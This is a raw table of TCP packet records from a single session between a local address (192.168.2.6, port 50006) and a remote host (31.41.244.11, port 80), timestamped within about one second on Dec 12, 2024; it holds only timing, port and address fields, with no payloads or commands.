Dec 12, 2024 21:50:58.545890093 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.549947977 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.550033092 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.550395012 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.550555944 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.554399014 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.554505110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.554534912 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.554923058 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.558784962 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.558900118 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.559350014 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.563252926 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.563287973 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.563606024 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.567701101 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.567738056 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.568850994 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.572035074 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.572135925 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.572427988 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.576328993 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.576457977 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.576538086 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.600411892 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.600552082 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.673805952 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.674016953 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.675548077 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.675599098 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.675637960 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.675704956 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.678951025 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.679122925 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.679404020 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.682490110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.682528973 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.683002949 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.685825109 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.686158895 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.686186075 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.686271906 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.689110041 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.689583063 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.689718008 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.692497969 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.692533970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.693167925 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.695506096 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.695606947 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.695669889 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.696216106 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.698764086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.699393988 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.699526072 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.701668024 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.701828957 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.702071905 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.704873085 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.704920053 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.704957008 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.707762003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.707914114 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.707914114 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.708030939 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.708168030 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.710675001 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.710781097 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.710812092 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.711030960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.713613987 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.713810921 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.713845015 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.714329958 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.716537952 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.716612101 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.716748953 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.716936111 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.719621897 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.719657898 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.720366001 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.722526073 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.722709894 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.722852945 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.722981930 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.725514889 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.725553036 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.725804090 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.728436947 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.728568077 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.728738070 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.730221033 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.730330944 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.730367899 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.731996059 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.732034922 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.732100010 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.732136011 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.733318090 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.733865023 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.734213114 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.734318972 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.735589981 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.735698938 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.735708952 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.735928059 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.737430096 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.737464905 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.737507105 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.738504887 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.739231110 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.739268064 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.739365101 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.741050959 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.741086006 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.741292000 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.743417978 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.743453026 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.743530989 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.743531942 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.744683027 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.746000051 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.746268988 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.746308088 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.746398926 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.746519089 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.748078108 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.748303890 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.748330116 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.748739004 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.749984026 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.750060081 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.750096083 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.751353979 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.751636028 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.752484083 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.752717018 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.752827883 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.753587961 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.753624916 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.753655910 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.753973007 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.755332947 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.755367994 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.755531073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.757184982 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.757220984 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.757364988 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.758954048 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.758990049 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.760703087 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.760736942 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.760824919 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.762394905 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.762428999 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.762500048 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.763307095 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.764159918 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.764497995 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.764503956 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.765069008 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.866090059 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.866147041 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.866180897 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.866813898 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.866849899 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.866877079 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.867114067 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.868571997 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.868611097 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.868638039 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.870256901 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.870670080 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.870728970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.870944023 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.872128963 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.872180939 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.872287035 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.873867989 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.873904943 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.873931885 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.874527931 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.875631094 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.875669003 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.876547098 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.877299070 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.877336025 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.877357006 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.877501011 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.878889084 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.878942966 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.879015923 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.879167080 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.880465031 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.880578041 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.880601883 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.880758047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.881987095 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.882069111 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.882143974 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.882235050 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.883588076 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.883670092 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.883902073 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.885138988 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.885268927 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.885297060 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.886689901 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.886841059 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.886868954 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.887346029 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.888272047 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.888310909 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.888391018 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.889724016 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.889822960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.889939070 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.890032053 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.891347885 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.891385078 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.891623020 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.892879009 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.892915010 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.892945051 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.894226074 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.894262075 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.894292116 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.895343065 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.895668983 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.895778894 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.895886898 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.897173882 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.897211075 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.897336960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.898659945 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.898704052 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.898729086 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.899857044 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.900142908 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.900180101 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.900206089 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.901691914 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.901729107 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.901757002 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.902914047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.903055906 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.903166056 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.903183937 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.903270960 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.904625893 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.904663086 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.904916048 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.906095028 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.906130075 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.906158924 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.907407045 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.907610893 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.907670021 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.907809019 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.909045935 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.909168005 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.909197092 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.909387112 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.910351992 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.910537958 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.910819054 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.911966085 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.912002087 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.912133932 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.913393021 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.913542032 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.913579941 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.913640022 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.914921999 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.914958000 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.914985895 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.915994883 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.916421890 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.916479111 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.917866945 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.917879105 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.917902946 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.917929888 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.917953968 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.919394970 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.919430971 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.919456005 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.919605017 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.920828104 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.920866013 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.920891047 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.922307968 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.922359943 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.922384977 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.922560930 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.923706055 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.923878908 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.923998117 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.925251961 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.925288916 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.925429106 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.926702023 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.926944971 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.927172899 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.928181887 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.928289890 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.928415060 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.929672956 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.929708958 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.929812908 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.931200981 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.931236029 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.931384087 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.932580948 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.932701111 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.932846069 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.934201002 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.934242964 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.934273005 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.935672045 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.935700893 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.935774088 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.935779095 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.937099934 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.937196016 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.937206030 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.937288046 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.938826084 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.938941002 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.939013004 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.939091921 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.940431118 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.940465927 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.941102982 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.941837072 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.941873074 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.941900015 CET	50006	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:58.943166018 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.943202019 CET	80	50006	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:58.943231106 CET	50006	80	192.168.2.6	31.41.244.11
